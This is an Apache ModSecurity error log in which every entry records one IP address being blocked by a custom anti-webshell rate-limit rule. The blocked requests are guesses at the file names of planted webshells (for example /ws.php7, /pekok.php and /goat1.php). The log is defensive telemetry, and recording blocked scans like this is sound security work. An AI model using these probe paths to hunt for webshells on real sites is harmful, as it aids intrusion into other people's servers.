[Fri Dec 19 18:49:33.557713 2025] [:error] [pid 20675:tid 20700] [client 52.187.119.223:9149] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aUUtvbMyJ3XqeDRsbQlpwQAAAQw"]
[Fri Dec 19 18:49:34.100517 2025] [:error] [pid 20675:tid 20710] [client 52.187.119.223:9090] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aUUtvrMyJ3XqeDRsbQlpwgAAARY"]
[Fri Dec 19 18:49:34.517906 2025] [:error] [pid 20581:tid 20631] [client 52.187.119.223:9193] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aUUtvvxEv7WXNhnFD1liJQAAAJA"]
[Fri Dec 19 18:49:34.813235 2025] [:error] [pid 20675:tid 20692] [client 52.187.119.223:20000] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aUUtvrMyJ3XqeDRsbQlpxQAAAQQ"]
[Fri Dec 19 18:49:35.009768 2025] [:error] [pid 20675:tid 20711] [client 52.187.119.223:9103] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aUUtv7MyJ3XqeDRsbQlpxwAAARc"]
[Fri Dec 19 18:49:35.407074 2025] [:error] [pid 41451:tid 41475] [client 52.187.119.223:9100] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aUUtvwYXFn-DbZghZBGx6AAAABU"]
[Fri Dec 19 18:49:36.047047 2025] [:error] [pid 20581:tid 20632] [client 52.187.119.223:9116] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aUUtwPxEv7WXNhnFD1liKQAAAJE"]
[Fri Dec 19 18:49:36.261594 2025] [:error] [pid 41451:tid 41466] [client 52.187.119.223:9131] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aUUtwAYXFn-DbZghZBGx6gAAAAw"]
[Fri Dec 19 18:49:36.565167 2025] [:error] [pid 20675:tid 20712] [client 52.187.119.223:9211] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aUUtwLMyJ3XqeDRsbQlpygAAARg"]
[Fri Dec 19 18:49:36.836660 2025] [:error] [pid 20580:tid 20609] [client 52.187.119.223:19973] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aUUtwEmd1op_YdAdgR14RQAAAFc"]
[Fri Dec 19 18:49:37.181139 2025] [:error] [pid 20581:tid 20624] [client 52.187.119.223:9104] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aUUtwfxEv7WXNhnFD1liKwAAAIk"]
[Fri Dec 19 18:49:37.395778 2025] [:error] [pid 20581:tid 20619] [client 52.187.119.223:9121] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aUUtwfxEv7WXNhnFD1liLgAAAIQ"]
[Fri Dec 19 18:49:37.653016 2025] [:error] [pid 20675:tid 20703] [client 52.187.119.223:9168] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aUUtwbMyJ3XqeDRsbQlpzgAAAQ8"]
[Fri Dec 19 18:49:37.975068 2025] [:error] [pid 20675:tid 20705] [client 52.187.119.223:9194] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aUUtwbMyJ3XqeDRsbQlp0QAAARE"]
[Fri Dec 19 18:49:38.246076 2025] [:error] [pid 20675:tid 20700] [client 52.187.119.223:20018] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aUUtwrMyJ3XqeDRsbQlp1AAAAQw"]
[Fri Dec 19 18:49:38.467399 2025] [:error] [pid 20675:tid 20708] [client 52.187.119.223:9180] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aUUtwrMyJ3XqeDRsbQlp1gAAARQ"]
[Fri Dec 19 18:49:38.727640 2025] [:error] [pid 20580:tid 20593] [client 52.187.119.223:9101] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aUUtwkmd1op_YdAdgR14SgAAAEc"]
[Fri Dec 19 18:49:39.042712 2025] [:error] [pid 20582:tid 20653] [client 52.187.119.223:9040] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aUUtw8pAnrkQKZ4b5gYNUgAAAMs"]
[Fri Dec 19 18:49:39.229926 2025] [:error] [pid 20581:tid 20625] [client 52.187.119.223:9136] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aUUtw_xEv7WXNhnFD1liLwAAAIo"]
[Fri Dec 19 18:49:39.442564 2025] [:error] [pid 20675:tid 20703] [client 52.187.119.223:9099] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aUUtw7MyJ3XqeDRsbQlp4AAAAQ8"]
[Fri Dec 19 18:49:39.745364 2025] [:error] [pid 20581:tid 20636] [client 52.187.119.223:20009] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aUUtw_xEv7WXNhnFD1liMQAAAJU"]
[Fri Dec 19 18:49:40.011189 2025] [:error] [pid 20675:tid 20697] [client 52.187.119.223:9129] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aUUtxLMyJ3XqeDRsbQlp4wAAAQk"]
[Fri Dec 19 18:49:40.322535 2025] [:error] [pid 20580:tid 20608] [client 52.187.119.223:9113] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aUUtxEmd1op_YdAdgR14TwAAAFY"]
[Fri Dec 19 18:49:40.623037 2025] [:error] [pid 20582:tid 20649] [client 52.187.119.223:9028] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aUUtxMpAnrkQKZ4b5gYNVAAAAMc"]
[Fri Dec 19 18:49:40.808572 2025] [:error] [pid 20582:tid 20648] [client 52.187.119.223:9032] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aUUtxMpAnrkQKZ4b5gYNVQAAAMY"]
[Fri Dec 19 18:49:41.055529 2025] [:error] [pid 20675:tid 20690] [client 52.187.119.223:9128] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aUUtxbMyJ3XqeDRsbQlp6QAAAQI"]
[Fri Dec 19 18:49:41.277486 2025] [:error] [pid 20582:tid 20645] [client 52.187.119.223:9123] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aUUtxcpAnrkQKZ4b5gYNVwAAAMM"]
[Fri Dec 19 18:49:41.492308 2025] [:error] [pid 20581:tid 20630] [client 52.187.119.223:20074] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aUUtxfxEv7WXNhnFD1liNgAAAI8"]
[Fri Dec 19 18:49:41.731209 2025] [:error] [pid 20675:tid 20691] [client 52.187.119.223:20039] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aUUtxbMyJ3XqeDRsbQlp7AAAAQM"]
[Fri Dec 19 18:49:41.938970 2025] [:error] [pid 20580:tid 20603] [client 52.187.119.223:20044] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aUUtxUmd1op_YdAdgR14UQAAAFE"]
[Fri Dec 19 18:49:42.114515 2025] [:error] [pid 20582:tid 20643] [client 52.187.119.223:9179] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aUUtxspAnrkQKZ4b5gYNWQAAAME"]
[Fri Dec 19 18:49:42.339272 2025] [:error] [pid 20582:tid 20660] [client 52.187.119.223:9087] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aUUtxspAnrkQKZ4b5gYNWgAAANI"]
[Fri Dec 19 18:49:42.541420 2025] [:error] [pid 20582:tid 20656] [client 52.187.119.223:9082] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aUUtxspAnrkQKZ4b5gYNXgAAAM4"]
[Fri Dec 19 18:49:42.750290 2025] [:error] [pid 20675:tid 20711] [client 52.187.119.223:9177] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aUUtxrMyJ3XqeDRsbQlp8AAAARc"]
[Fri Dec 19 18:49:43.018348 2025] [:error] [pid 20675:tid 20697] [client 52.187.119.223:20013] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aUUtx7MyJ3XqeDRsbQlp8QAAAQk"]
[Fri Dec 19 18:49:43.208350 2025] [:error] [pid 20675:tid 20705] [client 52.187.119.223:9120] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aUUtx7MyJ3XqeDRsbQlp8wAAARE"]
[Fri Dec 19 18:49:43.495125 2025] [:error] [pid 20580:tid 20605] [client 52.187.119.223:9204] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aUUtx0md1op_YdAdgR14VAAAAFM"]
[Fri Dec 19 18:49:43.777235 2025] [:error] [pid 20675:tid 20712] [client 52.187.119.223:8989] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aUUtx7MyJ3XqeDRsbQlp9gAAARg"]
[Fri Dec 19 18:50:01.488001 2025] [:error] [pid 20675:tid 20689] [client 52.187.119.223:9026] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aUUt2bMyJ3XqeDRsbQlqcgAAAQE"]
[Fri Dec 19 18:50:02.188333 2025] [:error] [pid 41451:tid 41457] [client 52.187.119.223:9130] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aUUt2gYXFn-DbZghZBGyTAAAAAM"]
[Fri Dec 19 18:50:02.522052 2025] [:error] [pid 20675:tid 20702] [client 52.187.119.223:9092] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aUUt2rMyJ3XqeDRsbQlqdAAAAQ4"]
[Fri Dec 19 18:50:02.698998 2025] [:error] [pid 20580:tid 20609] [client 52.187.119.223:8978] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aUUt2kmd1op_YdAdgR14dQAAAFc"]
[Fri Dec 19 18:50:02.886940 2025] [:error] [pid 20580:tid 20591] [client 52.187.119.223:9119] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aUUt2kmd1op_YdAdgR14dgAAAEU"]
[Fri Dec 19 18:50:03.100043 2025] [:error] [pid 20675:tid 20699] [client 52.187.119.223:9046] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aUUt27MyJ3XqeDRsbQlqeAAAAQs"]
[Fri Dec 19 18:50:03.333076 2025] [:error] [pid 20675:tid 20706] [client 52.187.119.223:9078] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aUUt27MyJ3XqeDRsbQlqewAAARI"]
[Fri Dec 19 18:50:03.529792 2025] [:error] [pid 20675:tid 20695] [client 52.187.119.223:9027] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aUUt27MyJ3XqeDRsbQlqfAAAAQc"]
[Fri Dec 19 18:50:03.730491 2025] [:error] [pid 41451:tid 41456] [client 52.187.119.223:9199] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aUUt2wYXFn-DbZghZBGyUAAAAAI"]
[Fri Dec 19 18:50:03.935228 2025] [:error] [pid 20675:tid 20696] [client 52.187.119.223:9037] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aUUt27MyJ3XqeDRsbQlqfQAAAQg"]
[Fri Dec 19 18:50:04.166655 2025] [:error] [pid 20580:tid 20589] [client 52.187.119.223:8990] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aUUt3Emd1op_YdAdgR14egAAAEM"]
[Fri Dec 19 18:50:04.483911 2025] [:error] [pid 20582:tid 20654] [client 52.187.119.223:9133] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aUUt3MpAnrkQKZ4b5gYNjwAAAMw"]
[Fri Dec 19 18:50:04.720163 2025] [:error] [pid 20582:tid 20658] [client 52.187.119.223:9025] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aUUt3MpAnrkQKZ4b5gYNkQAAANA"]
[Fri Dec 19 18:50:04.925780 2025] [:error] [pid 20582:tid 20652] [client 52.187.119.223:9074] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aUUt3MpAnrkQKZ4b5gYNkwAAAMo"]
[Fri Dec 19 18:50:05.197655 2025] [:error] [pid 20675:tid 20712] [client 52.187.119.223:9107] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aUUt3bMyJ3XqeDRsbQlqgwAAARg"]
[Fri Dec 19 18:50:05.433789 2025] [:error] [pid 20675:tid 20689] [client 52.187.119.223:9093] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aUUt3bMyJ3XqeDRsbQlqhAAAAQE"]
[Fri Dec 19 18:50:05.654998 2025] [:error] [pid 20580:tid 20603] [client 52.187.119.223:9042] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUUt3Umd1op_YdAdgR14fgAAAFE"]
[Fri Dec 19 18:50:05.928958 2025] [:error] [pid 20580:tid 20601] [client 52.187.119.223:20012] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUUt3Umd1op_YdAdgR14gAAAAE8"]
[Fri Dec 19 18:50:06.174540 2025] [:error] [pid 41451:tid 41458] [client 52.187.119.223:9096] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUUt3gYXFn-DbZghZBGyVAAAAAQ"]
